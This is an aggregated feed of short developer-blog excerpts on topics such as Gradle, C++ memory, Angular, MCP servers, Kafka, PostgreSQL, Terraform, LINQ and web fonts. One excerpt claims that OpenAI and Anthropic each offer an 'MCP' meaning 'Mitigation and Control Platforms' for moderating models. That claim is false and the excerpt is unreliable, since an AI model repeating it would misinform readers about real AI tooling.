    I am the author of the moderately popular (⭐ 2k) Dependency Analysis Gradle Plugin, a static analysis tool that helps Gradle build authors maintain a healthy dependency graph. I also maintain some of the largest Gradle repos on the planet: a Kotlin backend repo with over 2500 subprojects, and an Android repo with more than 7200 subprojects (both proprietary). I have… seen some shit. Note: I refer to both the cases above as being part of the "Java ecosystem," though both use Kotlin as the preferred language, and one runs on the JVM while the other runs on ART (the Android runtime) on mobile devices. I come to you with a simple proposition: I believe the Java ecosystem is cursed. Hear me out. Lying metadata, overuse of "fat" jars with underuse of package relocation, split packages, undocumen…  ( 18 min )
    Smart pointers: memory safety without garbage collection
    Part 3 of "You Didn't Learn C++ in College" I'm building a web crawler to learn C++ and understand how search engines work. Not a toy project that crawls ten pages and calls it done, but something that needs to run for hours, handle thousands of URLs, and not explode. This means dealing with the reality that every college programming project conveniently ignores: programs that actually stay running. My college data structures course taught new and delete, then handed us assignments that ran for 30 seconds and exited. Memory leaks? Dangling pointers? "Just be careful" was the advice. The assignments ended before the leaks mattered. Those short-lived programs never exposed the problems with manual memory management. A web crawler runs for hours and processes thousands of documents. Miss a si…  ( 12 min )
    Revolutionize Your Angular Development: From Dumb Data to Smart Models with Cast-Response
    Tired of fighting with API responses in Angular? Discover how to transform your data handling from a maintenance nightmare to a developer's dream. If you've worked with Angular and APIs, you've likely encountered this familiar frustration: // ❌ The current reality - dumb data containers interface User { id: number; firstName: string; lastName: string; createdAt: string; // Wait, why is this a string? birthDate: string; // And this too? status: string; } // ❌ Business logic scattered everywhere @Component({ template: ` {{ getUserFullName(user) }} {{ isUserActive(user) }} {{ calculateUserAge(user) }} ` }) export class UserComponent { // Why is this logic in my component? getUserFullName(user: User): string { return `${user.fir…  ( 10 min )
    Automate UI Bug Fixing with Chrome MCP Server and Copilot
    I recently had a look at the Chrome MCP server and it looks really cool. So, let me show you a quick example of what it can do. Getting Started First of all, if you don't have it installed yet, there are instructions available. Like every other MCP server, you just need to have somewhere in your client settings the configuration string. { "mcpServers": { "chrome-devtools": { "command": "npx", "args": ["-y", "chrome-devtools-mcp@latest"] } } } I'm using VS Code, which has a command in the CLI for this. You can just open a new terminal, paste the command, and that's basically it. code --add-mcp '{"name":"chrome-devtools","command":"npx","args":["chrome-devtools-mcp@latest"]}' In any case, full instructions are in the Chrome MCP server documentation. I…  ( 9 min )
    I completed Module 2 (Python Data Structures) of Python for Data Science, AI & Development Course (IBM) (Santarcangelo, n.d.)
    Day 76 [November 24, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 75 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Sets: used for the storage of values that are distinct "append() adds an object as a single element, while extend() adds each element of an iterable individually". Check using the code below: list = [2,3,4] list2 = [2,3,4] Outputs: Otherwise, Both sum() and len() functions work for Tuples, but the difference is sum() adds the elements (must be int or float type), while len() counts the elements. ages = (20,3,34) Outputs: Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 7 min )
    Day 13 of improving my Data Science skills
    Today I learned how to unpivot a table from a wide format to a long format using the .melt() method. Why did I even need to learn that? Many datasets are commonly represented in wide format but long formatted data is often more accessible for computers to work with hence the need to learn this important concept Trust me to always put into practice any new concept I learn. So for my practice pleasure, I worked with unemployment data that originally had one row per year and 12 separate columns for each month. This format is common in raw economic datasets but not ideal for time-series analysis. So I reshaped it using .melt() to convert the wide table into a long format where each row represents a specific year-month pair. This gives me three clean columns: year, month and unempl_rate. This structure is much better for analysis. Next, I combined year and month into one date column and converted it into an actual datetime object. This is important because time-series models and visualizations rely on having a real date index. I sorted the data by date and plotted unemployment rate over time. This is a core skill in data work, especially in economics and finance. This process allows us to: Learning to reshape and prepare data like this is the foundation of almost every real-world economic analysis. Stay tuned for tomorrow😊 -SP  ( 7 min )
    Sharing Some Joy: My New MCP Image Server for Cursor
    Hey everyone! This is my first public post, so I’m writing with a bit of nervousness — but mostly with real joy that I just want to share, not “promote” anything. I’ve been in web development for many years, and I’ve built so many projects that I’ve honestly lost count. And once again — on a regular day — I decided to create something new. Not because I had to, but because this is my way to relax 🙂 I started working on a series of MCP tools (yes, for Cursor), and the first one I made tackles something that has always been painful for me as a developer: working with images. Optimization, resizing, cropping, aspect ratios, circles, watermarks, placeholders, color palettes… basically all the annoying things that steal your time when you just want to build an interface. In an MVP you need p…  ( 7 min )
    ⚡ How Kafka Stores Billions of Messages: The Storage Architecture Nobody Explains
    🎯 Introduction: Beyond the Message Queue Imagine you're running a global streaming platform processing millions of viewer events every second—play, pause, skip, like, and watch history. How do you store this tsunami of data efficiently while keeping it instantly accessible? This is where Kafka's storage architecture becomes a masterpiece of engineering. Every Kafka broker juggles three critical tasks simultaneously: Producer Gateway Accepts incoming streams of events from applications across your network Storage Engine Writes messages to disk durably and efficiently—this is where the magic happens Consumer Server Rapidly locates and delivers data to consumers while replicating to other brokers Topic: "viewer-activity" │ ├── Partition 0 (folder: /data/viewer-activity-0/) │ ├── 00…  ( 12 min )
    Postgresus vs PG Back Web: PostgreSQL Backup Tools Comparison
    Quick Answer: When comparing PostgreSQL backup tools, Postgresus emerges as the superior choice for database administrators and development teams. With its intuitive interface, extensive storage integrations, enterprise-grade security features and rapid deployment process, Postgresus offers a more complete solution than PG Back Web for managing PostgreSQL backups at any scale. Protecting PostgreSQL databases requires reliable backup tools that balance ease of use with powerful functionality. Two open-source solutions have gained attention in this space: Postgresus and PG Back Web. Both aim to simplify the backup process through web-based interfaces, but they differ significantly in capabilities, flexibility and user experience. This comprehensive comparison examines both tools across multi…  ( 14 min )
    Introduction to SQL using SQLite: Data Manipulation
    Objectives DROP TABLE INSERT SELECT FILTERS FUNCTIONS UPDATE DELETE We discussed that, to create a table for the object, const profile = { name: "John Doe", "date of birth": "2000-12-25", profession: "Software Engineer", "number of pets": 2, "weight of protein in grams": 12.5, "has a job": true, }; We would have to analyse it and design a table that meets the requirements of our system, building on the knowledge we already have in JavaScript. property JS SQL Constraint name string TEXT NOT NULL date of birth Date TEXT profession string TEXT DEFAULT '' number of pets number INTEGER DEFAULT 0 weight of protein in grams number INTEGER DEFAULT 0 has a job boolean INTEGER DEFAULT 0 This would logically boil down to something like: C…  ( 16 min )
    Launching your RAG system on AWS: CloudFront, Lambda, Bedrock & S3 Vectors
    A step by step guide with AI SDK, AWS and Terraform In this post I revisit the implementation of an AI Agent, this time adding the ability to return responses tied to a specific context. All code used in this article is available in the repository. As usual, I rely on Serverless services to launch the experiment quickly. With the new capabilities AWS is rolling out, the agent will stream responses in real time as they are generated. Below is a high level diagram representing the target architecture. For this project I will implement a RAG system using serverless services. We can outline the following requirements for a low volume of 1000 requests per month. The system should allow sending messages and receiving a response in real time as it is generated. The system should restrict access …  ( 14 min )
    The Days I Tried to Start Over in a Less Demanding Way
    When I left art school, I didn’t expect the world to feel so heavy. People always talk about how freeing it is to walk away from something that isn’t right for you, how bold it is, how brave. But my experience didn’t look like that. Mine looked like packing my supplies into a cardboard box that kept collapsing on the sides, walking out of a building that had once felt like my entire life, and trying not to cry on the train ride home. I thought stepping away would make everything feel lighter. Instead, it felt like I had stepped off a cliff I didn’t know the height of. I kept telling myself I made the right decision, but my chest stayed tight for weeks, like I was bracing for a fall that never came. When people asked why I left, I never knew how to answer in a way that felt honest. Saying I…  ( 11 min )
    Erase Faces, Not Utility: Instant Privacy for Image AI by Arvind Sundararajan
    Erase Faces, Not Utility: Instant Privacy for Image AI Struggling to share facial image datasets without compromising privacy? Traditional methods like blurring destroy crucial details, crippling downstream AI tasks. What if you could swap identities seamlessly, retaining key attributes like pose and expression? The core idea is simple: navigate a pre-trained image model's 'hidden' space to find and replace the identity component of a face. Think of it like swapping the engine in a car. You keep the chassis (attributes), but the power source (identity) changes instantly. This allows generating entirely new, anonymized faces that maintain the original image's valuable characteristics. This approach differs dramatically from methods that require retraining. Instead, it pinpoints precise 'i…  ( 7 min )
    Complete Toolkit for LLM Development
    LLMForge.dev: A Free Toolkit for Building with AI Models If you're building with GPT-4, Claude, Gemini, Llama, or other LLMs, you've probably hit these pain points: Guessing token costs and managing budgets Comparing models across different providers Figuring out context window limits Dealing with chunking and embeddings Generating JSON schemas for function calling Testing and optimizing prompts Visualizing RAG pipelines Most devs bounce between docs, spreadsheets, random calculators, and custom scripts just to answer basic questions. *LLM Forge (llmforge.dev) * solves this with 14+ practical tools in one place — completely free, no sign-up required. Token Counter – See exactly how many tokens your text uses Token Cost Calculator – Estimate API costs before deployment Embedding Cost Calc…  ( 7 min )
    On-Ramps Are Solved — Off-Ramps Aren’t. Here’s Why It Matters
    More and more remote workers and freelancers are being paid in cryptocurrency. It’s fast, global, and convenient — until it isn’t. Most everyday expenses — rent, utilities, groceries — are still in euros, creating a growing tension between crypto income and real-world spending. On-Ramps vs Off-Ramps Regulatory Complexity How Fintech Is Responding This growing friction is driving fintech innovation: Crypto-linked debit cards that auto-convert assets to fiat at the point of purchase Hybrid accounts that let users hold crypto while spending euros Payroll services that manage volatility and tax reporting Platforms that simplify movement between crypto and traditional banking Exchanges like Coinbase, WhiteBIT etc are expanding their services to make on/off-ramp operations smoother, reflecting a broader trend: trading platforms are evolving into full-scale financial gateways. Read more about this here Bottom Line The gap between earning crypto and spending fiat is the biggest obstacle to mainstream adoption. Solving it is not just a convenience — it’s essential to making crypto a practical, everyday financial tool. As off-ramp infrastructure improves, digital assets can truly become a part of real-world finance.  ( 7 min )
    Як побудувати ядро онлайн-казино: архітектура, модулі та інтеграції
    Розробка ядра онлайн-казино — це складна інженерна задача, яка вимагає глибокого розуміння фінансових транзакцій, регуляторних вимог та високого навантаження. У цій статті розглянемо ключові компоненти, які складають серце будь-якого сучасного iGaming платформи. Ядро казино складається з декількох критичних сервісів, які працюють разом для забезпечення безперервної роботи: ┌─────────────────────────────────────────────────────┐ │ API Gateway │ │ (Rate Limiting, Auth) │ └─────────────────┬───────────────────────────────────┘ │ ┌─────────┴─────────┬──────────────┬──────────┐ │ │ │ │ ┌────▼────┐ ┌──────▼─────┐ ┌───▼────┐ ┌──▼──────┐ │ …  ( 11 min )
    An Overview of Muathemewpgiare.com: What the Platform Offers and Why It Matters
    In the world of WordPress development, having access to the right themes, plugins, and digital resources can make or break a project. Whether you’re a freelancer, agency owner, or business website manager, premium WordPress tools often define the overall quality, performance, and user experience of your site. Muathemewpgiare.com has emerged as a platform dedicated to offering these tools at more accessible prices. This overview explores what the platform is, what it provides, and why it has become useful for many WordPress users. What Is Muathemewpgiare.com? Muathemewpgiare.com is a digital service platform designed to make premium WordPress themes and plugins more affordable and accessible. It focuses on providing users with a broad selection of high-quality tools that are widely used in …  ( 8 min )
    Building Container Images Without Docker: Introducing pycontainer-build
    What if you could build production-ready container images for your Python projects without installing Docker, writing Dockerfiles, or dealing with daemon dependencies? That's the vision behind pycontainer-build — a native, Docker-free container image builder for Python. Today, containerizing Python applications typically requires: Installing Docker Desktop or Docker Engine — Not always possible in locked-down corporate environments, cloud IDEs like GitHub Codespaces, or CI/CD runners Writing and maintaining Dockerfiles — Boilerplate, multi-stage builds, and keeping base images updated Understanding Docker-specific concepts — Layers, build contexts, caching strategies Docker-in-Docker in CI — Complex and fragile setups with privileged containers These friction points slow down developer onb…  ( 10 min )
    Mastering UI Animations in React Native Using Reanimated — A Practical Guide
    Animations are often treated as an optional enhancement in mobile apps. Many developers open a Figma file, inspect layout spacing, apply colors, build screens, and move on — without ever thinking about motion. But animations are not decoration. They are communication. They guide attention, improve perceived performance, and make the UI feel natural. Without them, interfaces feel abrupt and lifeless. There are multiple animation libraries in the React Native ecosystem — the built-in Animated API, Moti, LayoutAnimation, and Reanimated. Each works differently and serves different use cases, but in this guide, we’ll focus specifically on the Reanimated library. Animations improve the UX in four major ways: They explain UI changes They reduce perceived waiting time They make transitions smoot…  ( 9 min )
    What happens when the perfect prompt is achieved, but the de
    What happens when the perfect prompt is achieved, but the desired outcome is still suboptimal due to biases in the data used to train the AI model? Does this signify the need for a new paradigm in AI development, one that prioritizes data curation over prompt engineering? Publicado automáticamente  ( 6 min )
    Ship Features, Not Spreadsheets: Wiring Your App Straight Into the Finance Stack
    You’ve probably lived this sprint-from-hell before. Product wants “self-serve revenue dashboards.” Sales wants “real-time MRR.” Finance wants “clean numbers by Monday.” You, naturally, get the request at 4:45 p.m. on Friday… and somehow it always ends with yet another CSV export from your app and a forest of spreadsheets on someone’s shared drive. The irony: your product already emits almost everything finance needs. It’s just trapped in logs, databases, and SaaS tools that were never designed to be a single source of truth. This post is about fixing that from the engineering side. Not by becoming an accountant, but by treating finance as another downstream consumer of your event stream—and wiring your app into the finance stack in a way that’s repeatable, testable, and boring enough to tr…  ( 11 min )
    Fintech Is Transforming Into a Full-Scale Tech Ecosystem — And Developers Are the Ones Driving It
    For years, fintech was seen as a patchwork of separate services: payment processors here, banking APIs there, crypto exchanges somewhere on the side. Each solved a narrow problem, often without deep integration or a shared architecture. But the industry has quietly crossed a critical threshold — it’s no longer a set of tools. It’s becoming an interconnected digital infrastructure layer, and this shift fundamentally changes the developer’s role in fintech. We’re entering a phase where building financial products looks less like feature development and more like ecosystem engineering. The modern fintech stack increasingly spans payments, identity, compliance automation, real-time risk scoring, blockchain rails, tokenized assets, data streaming, and multi-cloud infrastructure — all operating …  ( 7 min )
    A Day in the Life of a DevOps Engineer Who Handles Cloud Work
    Most articles about DevOps pretend the job is smooth and predictable. Anyone who has actually done the work knows that this is not true. A DevOps engineer who also handles cloud responsibilities lives in a rhythm that is equal parts pressure, problem solving, and quiet satisfaction. It is a role that demands technical depth, clear thinking, and the ability to stay calm when everyone else is pushing their problems toward you. Morning: Checking the Health of the System Your day usually begins with a quick scan of alerts, logs, and monitoring dashboards. This is not a relaxed ritual. It is a check to confirm that nothing catastrophic happened during the night. Sometimes everything looks fine on the surface, but you can already sense trouble. Maybe an auto healing group replaced a node. This i…  ( 8 min )
    API UP — an API as a Service
    Hey everyone! It’s not a no-code toy — it generates a real async Python backend (compiled to C), with: You can create an API, deploy it, and start calling it from your frontend or mobile app in minutes. You can test the UI and play with the system here: https://apiup.ai Documentation: https://docs.apiup.ai Would love feedback — especially from backend and SaaS folks.  ( 6 min )
    Introducing brew-coffee - One Command Dev Environment Setup
    If you’ve ever onboarded to a new project, switched laptops, or tried spinning up a fresh dev setup, you probably know the pain inconsistent environments, missing packages, broken dependencies, endless brew installs… So I built brew-coffee a lightweight, modular, Homebrew-powered CLI that turns environment setup into a 10-second, zero-stress, fully reproducible process. brew-coffee is a simple CLI wrapper around Homebrew bundles. It helps you: Install entire developer environments with a single command Use curated bundles for programming languages, cloud providers, and dev tools Reuse modular Brewfiles for clean organization Check, clean, or list bundles easily Keep your setup consistent across machines or teams git clone https://github.com/n4en/brew-coffee.git cd brew-coffee chmod +x ./coffee.sh ./coffee.sh list Example: - python - nodejs - aws - azure - gcp - k8s - infra - dev Single bundle: ./coffee.sh install python Multiple bundles: ./coffee.sh install python nodejs aws Install everything: ./coffee.sh install Check one bundle: ./coffee.sh check aws Check all: ./coffee.sh check Remove only what belongs to the bundle: ./coffee.sh clean aws Clean all bundles: ./coffee.sh clean ⚠️ Important about Homebrew behavior: ./coffee.sh install All bundles live in the bundles/ directory and follow the format: .Brewfile touch bundles/my-new-bundle.Brewfile Install it: ./coffee.sh install my-new-bundle Feel free to add/remove packages to suit your workflow or your team’s environment standards. Contributions are welcome! You can: Add new tech stack bundles Improve the CLI scripts Enhance documentation If you’ve ever wished for a one-command, clean, and repeatable dev setup on macOS — brew-coffee might save you a lot of time. Give it a try here: https://github.com/n4en/brew-coffee If you find it helpful, feel free to ⭐ star the repo or open a PR!  ( 7 min )
    Inheritance in Java
    What is inheritance: It is the mechanism by which object of one class act as object of another class. Here, one class can inherit the features (fields and methods) of another class. This is one of the fundamental concept in OOPs. A class that inherits from another class can reuse the methods and fields of that class. To inherit from a class, we use the extend keyword. Syntax: class Parent { void display() { System.out.println(" parent class."); } } class Child extends Parent { void show() { System.out.println(" child class."); } } Ex: Here, there are two different classes : ClassRoom class and Student class. public class ClassRoom{ public static void main (String[] args){ ClassRoom cr = new ClassRoom(); cr.learnJava(); } public void learnJava(){ System.out…  ( 7 min )
    Day 01 – Intro to Terraform & Infrastructure as Code (IaC)
    What is Infrastructure as Code(IaC)? why this matters: It keeps your infrastructure consistent. You can track every change using Git. It reduces manual mistakes. You can recreate the same setup anytime. IaC basically brings software-like discipline into infrastructure management. What is Terraform? cloud-agnostic -> works with AWS, Azure, GCP, Kubernetes, Cloudflare and more. Declarative -> You describe what you want, and Terraform builds it. Easy to version control -> because everything is written in files. Powered by providers -> AWS, Azure, GCP etc. each have their own provider plugin. One thing that stood out to me was Terraform's state file. Terraform stores the details of all created resources inside a file called terraform.tfstate. This helps Terraform understand what already exists and what changes need to be made. Terraform Workflow: Write -> Create .tf file. Init -> Downloads provider plugins. Plan -> Shows what Terraform will create or modify. Apply -> Makes the actual changes in your cloud account. Destroy -> Declares everything when you're done. This workflow makes Terraform predictable and safe.  ( 6 min )
    Comparing Open AI MCP and Anthropic MCP
    Comparing OpenAI MCP and Anthropic MCP: Safeguarding LLMs with Mitigation and Control Platforms As Large Language Models (LLMs) become increasingly integrated into diverse applications, the need for robust safety mechanisms to mitigate potential harms like misinformation, bias, and harmful content generation is paramount. Both OpenAI and Anthropic, leading AI developers, offer Mitigation and Control Platforms (MCPs) designed to address these challenges. This article provides a comparative analysis of OpenAI's and Anthropic's MCPs, exploring their purpose, features, code examples, and installation processes. 1. Purpose: OpenAI MCP: Designed primarily to control and moderate the output of OpenAI models, ensuring adherence to OpenAI's usage policies and promoting responsible AI development.…  ( 9 min )
    Untitled
    Check out this Pen I made!  ( 6 min )
    The Art of Software Architecture: A Desi Developer's Guide to Building Systems That Actually Work
    Yaar, we've all been there - sitting in those endless architecture review meetings where everyone's throwing around buzzwords like "microservices" and "cloud-native," but when push comes to shove, the system crashes during the first demo to client. Sound familiar? Let's cut through the noise and understand what really makes software architecture tick - from managing your team dynamics to building systems that won't give you sleepless nights. SOFTWARE ARCHITECTURE | ┌──────────────────────┼──────────────────────┐ | | | TEAM DYNAMICS TECHNICAL DESIGN QUALITY & PROCESS | …  ( 14 min )
    why i built yet another todo app
    Building personal software is an extremely rewarding experience, both in creation and consumption. Writing software for yourself can feel like cooking - adding ingredients you like, removing the gross asparagus, adjusting the spices to your taste. Using your own software feels like putting on a really old, cozy, snug sweater. tsk started as a side project with my friend, sharing ideas and coming up with different designs for a task manager and calendar app. We worked on it on and off for a while, until recently I decided to challenge myself to finally complete the project and publish it. my only requirement: build it so I would enjoy using it, daily. If you want to try it out, just head over to tsk.lol - no signup or waitlist required. But, for the curious, here’s some more behind the scen…  ( 8 min )
    The Long Way Home: How We Left the Server, Built a Client Empire, and Came Back Again
    In 2010, the web was simple. PHP, Rails, or a bit of jQuery on top of some Twig templates. The server rendered the page, you clicked a link, the browser fetched a new one. That was it. It was predictable. Honest. And slow. Then we saw the future — and it was running in the browser. What if the client handled everything? No refreshes, no full reloads, just pure JavaScript bliss. We sprinted into that future with React, Redux, Angular, and a thousand frameworks that promised to make the web feel alive. And then, somewhere along the way, we started missing the simplicity we left behind. Server templates were simple — and static. If you wanted interactivity, you reached for jQuery or hand-rolled AJAX calls. Here’s how a basic product list with a “like” button might have looked: <ul id="product…  ( 13 min )
    How to Connect PostgreSQL to Power BI Using Local PostgreSQL and Aiven
    Power BI is one of the leading business intelligence tools for analyzing and visualizing data. It provides multiple ways to load data, including direct connections to databases. This article explains how to connect Power BI to both a local PostgreSQL database and a cloud-based PostgreSQL database hosted on Aiven, a fully managed data platform for open-source databases. Connecting to a Local PostgreSQL Database Before connecting Power BI to your local database, ensure that: PostgreSQL is installed and running on your machine. You can successfully connect to the database using a tool like DBeaver. Step 1: Note down connection details Open DBeaver. Right-click your database connection and select Edit Connection. Note the following details: Setting Example Host localhost Port 5432 D…  ( 8 min )
    Browser Dev Tools for Mobile!
    Browser Dev Tools for Mobile! Intro Modern day web browsers provide an important tool that we, web devs love and live for. The DevTools. We use it for Debugging the JavaScript code on the client side. Test and tweak the styles. View the webpage in 3D to understand z-index. Intercepting HTTP requests. View the webpage on different devices' screen dimensions. Basically, it's the Swiss Army Knife that makes our lives easier. ## BUT!! How about doing the same stuff on the mobile devices? What if there's a bug that's showing up in only the mobile devices? Well, I personally have run into such cases several times and there's honestly no mobile App that's going to save our bum or at least make things easy. Well good news for us because I've found an approach that honestly blew my mind! ## The Solution I'm using my Android Smartphone as I write this article. And we'll be using Chrome browser. This approach has a tiny prerequisite: You need to have developer options enabled on your smartphone before you proceed. Both your PC and your smartphone should be under the same network. We'll be using the Chrome Browser for this article. This means that you'll be needing Chrome both your PC and your smartphone. That's it! Now let's go step by step, shall we? Connect your smartphone with your computer with a USB cable. Open Chrome browser on your PC and type the following URL on the URL bar: chrome://inspect/#devices Now, once you connect your phone with your PC, you'll see the following message on your notification tray. Click on it. Search for Wireless Debugging. Then allow it. Now open your chrome browser from your phone and open any website. Then look at your PC's chrome browser and you'll find all the tabs opened on your phone. Like so. inspect. And if you have come this far, thank you so much! Please let me know if I missed anything! Peace ✌  ( 7 min )
    The hidden pitfalls of building online marketplaces
    Building a marketplace sounds straightforward until you're knee-deep in edge cases nobody warned you about. After watching countless marketplace projects stumble over the same hidden obstacles, I've compiled this list of critical issues that are being overlooked consistently. Your product team says: "Just show available inventory in real-time." But in reality, a seller lists their handmade jewelry on your platform, Etsy, Instagram, and their own website. By the time your customer clicks "buy," it's already sold elsewhere. Now you're processing refunds and apologizing while your trust score plummets. Most teams discover this after launch when angry customers start leaving reviews about "fake inventory." The real problem? You can't control what happens outside your platform. Building "real…  ( 8 min )
    Testing Reinvented: Why Test Coverage Is the Wrong Metric
    When testing consumes considerable amount of your development cycle, AI changes everything. But most organizations are optimizing for the wrong goal. I have guided engineering organizations through every major technology evolution over the past two decades, including the migration from manual QA to automated suites, waterfall phases to continuous testing in DevOps pipelines. The AI transformation is different. It requires reconceiving what testing means and who does it. Traditional testing treated quality as verification. Write code, write tests (or vice versa when using TDD), run tests, fix bugs. AI makes that sequence obsolete. When AI generates comprehensive test suites in hours, analyzes production telemetry to identify untested paths, and predicts failures before they happen, the bott…  ( 14 min )
    Angular - Custom MatPaginator Styling
    One of my more popular articles that I’ve published is Angular: MatPaginator Custom Styling, which shows how to transform Angular Material’s paginator (on a mat-table) using a custom directive to make it look more appealing. I decided to update this article because since then, two major things have changed. It was originally written for Angular v14, and since then we’ve received the major Angular Material MDC components, which caused quite a few issues for people updating their projects, along with some smaller Angular improvements. Also, in my previous article, I was accessing some private methods of the MatPaginator component. In the GIF below, you can see the final example we’ll be building. You can also find the full source code in this GitHub repository. I will start this blog post b…  ( 14 min )
    The saltiest and wrongest article about Big O ever
    Sigh... So you want to learn about Big O Notation huh? Welp, you came to the wrong place, but stay for the ride AS YOU WALK INTO MY RANT ABOUT THIS THING FOR 20 PARAGRAPHS! YES, I'M SCREAMING. Ok. Maybe some people do, but it is VERY specific and rare. What am I talking about? Look at this function: function foo(list) { const foo = []; list.forEach(item => item.bars.forEach(bar => foo.push(bar))); return foo; } If you just thought "Oh, that is an O(n^2)" then you are a Big O pervert. Sorry. I don't make the rules. In 15 years of web development, nobody ever reached out to me and talked in Big O terms. People would reach out to me and say "Yeah, that function is doing a nested loop. Maybe we can figure out a way of not doing it", like decent people. But hey, Big O is not that bad,…  ( 8 min )
    Por qué ETH sigue siendo el favorito de los desarrolladores en 2025 (y por qué integrarlo ahora es más fácil que nunca)
    Ethereum ha recorrido un largo camino desde ser “esa blockchain que ejecuta smart contracts”. En 2025, es básicamente la columna vertebral de la mitad de las herramientas con las que los desarrolladores están experimentando: redes L2, zk-rollups, protocolos de restaking, cadenas modulares y un sinfín de nuevos proyectos de infraestructura. Pero más allá del hype, la razón por la que ETH sigue siendo el favorito de los desarrolladores es simple: Ya sea que estés creando aplicaciones descentralizadas, trabajando con activos tokenizados o experimentando con integraciones entre IA y blockchain, ETH suele ser el activo más confiable, documentado e interoperable. 🚀 ¿Qué hace que Ethereum siga siendo tan relevante para los desarrolladores? 1. El ecosistema de desarrolladores más sólido Desde her…  ( 7 min )
    AltSchool Of Engineering Tinyuka’24 Month 9 Week 4
    This week’s classes kicked off with our usual revision session, you can catch up on it here. Afterwards, we dove straight into Infrastructure as Code & Containerization (and more). Let’s take a look! Modern cloud engineering is defined by two foundational pillars: Infrastructure as Code (IaC) and Containerization. These technologies have completely transformed how teams provision environments, deploy applications, and scale systems replacing manual configurations with automation, consistency, and lightning-fast delivery cycles. This article breaks down the journey from IaC fundamentals to advanced concepts, how containerization complements IaC, and real-world examples of how companies use both to operate at global scale. Infrastructure as Code is the practice of defining, provisioning, an…  ( 9 min )
    Common LINQ Methods with Examples in .NET Core
    Here's a comprehensive list of LINQ (Language Integrated Query) extension methods available in .NET Core. These methods are part of the System.Linq namespace and are used to query collections, databases, XML, and other data sources. Where: Filters a sequence based on a predicate. Select: Projects each element of a sequence into a new form. SelectMany: Projects each element of a sequence to an IEnumerable and flattens the resulting sequences into one sequence. OrderBy: Sorts elements in ascending order. OrderByDescending: Sorts elements in descending order. ThenBy: Performs a secondary sort in ascending order. ThenByDescending: Performs a secondary sort in descending order. Reverse: Reverses the order of the sequence. Distinct: Returns distinct elements from a sequence. Union: Produces the …  ( 18 min )
    The Practical Guide to Optimizing @font-face
    Web fonts are one of the easiest places to lose performance—and one of the easiest to fix. Most sites ship multiple formats, oversized files, or unnecessary weights. Here's a compact guide to optimizing your fonts the right way. woff2 is the smallest, fastest, and most compressed format. eot svg ttf A clean modern declaration looks like: @font-face { font-family: 'Poppins'; src: url('Poppins.woff2') format('woff2'); font-weight: 400; font-style: normal; font-display: swap; } If you still support older environments, fallbacks are fine—but keep them minimal: @font-face { font-family: 'Poppins'; src: url('Poppins.woff2') format('woff2'), url('Poppins.woff') format('woff'); font-weight: 400; font-display: swap; } Many projects include full font families (100–900) when they only use 400 and 600. Audit your CSS → keep only what you need. font-display: swap It eliminates invisible text (FOIT) and improves perceived performance. font-display: swap; This ensures text renders immediately using a fallback font, then swaps when the custom font loads. Most font files include far more glyphs than you need: Cyrillic Arabic Vietnamese Symbols Full Unicode ranges If your site uses only Latin characters, subsetting can reduce file sizes by up to 70–90%. Two great tools: https://transfonter.org/ (Upload → subset → download optimized woff2) https://gwfh.mranftl.com/fonts (Self-host Google Fonts + get correctly pre-built subsets) For your main UI font, consider preloading: Use woff2 (and fallback to woff) Remove eot, svg, and ttf unless required Keep only the weights you use Always include font-display: swap Subset using Transfonter or Google Webfonts Helper Preload critical fonts Small changes → big wins. Typography stays beautiful, performance gets faster, and you ship fewer kilobytes.  ( 7 min )
    Why I'm Moving From .NET to JavaScript
    I’ve spent years building enterprise systems in the .NET ecosystem. But over time, I started to notice something. That’s where the modern JavaScript ecosystem stands out. React, Next.js and Node let you build full products end to end. This shift is not about abandoning .NET. So I’m starting a new chapter. If you’re also making the same transition You’re not alone Let’s build better things together  ( 6 min )
    The Map of Modern APIs: REST, GraphQL, RPC, Serverless & Webhooks
    A simple, practical guide to how different API styles actually work - and when to use which. Every backend uses APIs; but APIs themselves come in many shapes. After writing two chapters on: how APIs behave how they grow in complexity …the final missing piece is understanding how different API styles work, and how they shape your architecture, your frontend, and even your debugging workflow. This chapter aims to be that map; clean, visual, and beginner-safe. 1. REST, GraphQL, RPC, Serverless & Webhooks - The Simple Definitions Let’s start with one-sentence clarity. REST (Representational State Transfer) A URL represents a resource, and HTTP verbs represent actions. Analogy: Ordering from a fixed menu. GraphQL Ask the server exactly for the data you want. Analogy: A custom order instea…  ( 9 min )
    All Sites of Mobbin Categorized by 94 Segments
    Navigating on Mobbin is not fun, especially if you are doing research in depth for different vertical. I've segmented around ~100 categories to help you to better categorize + put micro-categories to make it well sorted/segmented. 💳 Everyday Banking Mobile-first accounts for daily life. Name Micro Category Description Tags Link Chime Everyday Banking Fee-free banking built for gig workers who need early access to paychecks. Gen Z, Budget-Conscious, US Link Monzo Everyday Banking UK's go-to for organizing money into savings "pots" with instant spending alerts. Millennial, Organizer, UK Link Starling Bank Everyday Banking Professional-grade mobile banking serving UK freelancers and small businesses. Freelancer, Business Owner, UK Link N26 Everyday Banking Minimalist European …  ( 53 min )
    DDD CRUD-Like Repository
    The repository pattern is an essential part of object-oriented software development. It has become the most popular abstraction to retrieve data from the database and map them into business objects (Aggregates). Lately I have noticed that many developers choose to restrict their repository to follow a CRUD (Create, Read, Update, and Delete) pattern, where the methods' names are generic and contain a verb associated with CRUD such as get or delete. The methods are stay highly versatile by accepting a object parameter with many properties so the consumer ca re-use the method in many different scenarios. Example of a User repository interface (typescript): export interface IUserRepository { getUser({ id?: number, email?: string, role?: string }): Promise } This pattern seem to be lo…  ( 7 min )
    Dart - instalación y configuración en Ubuntu
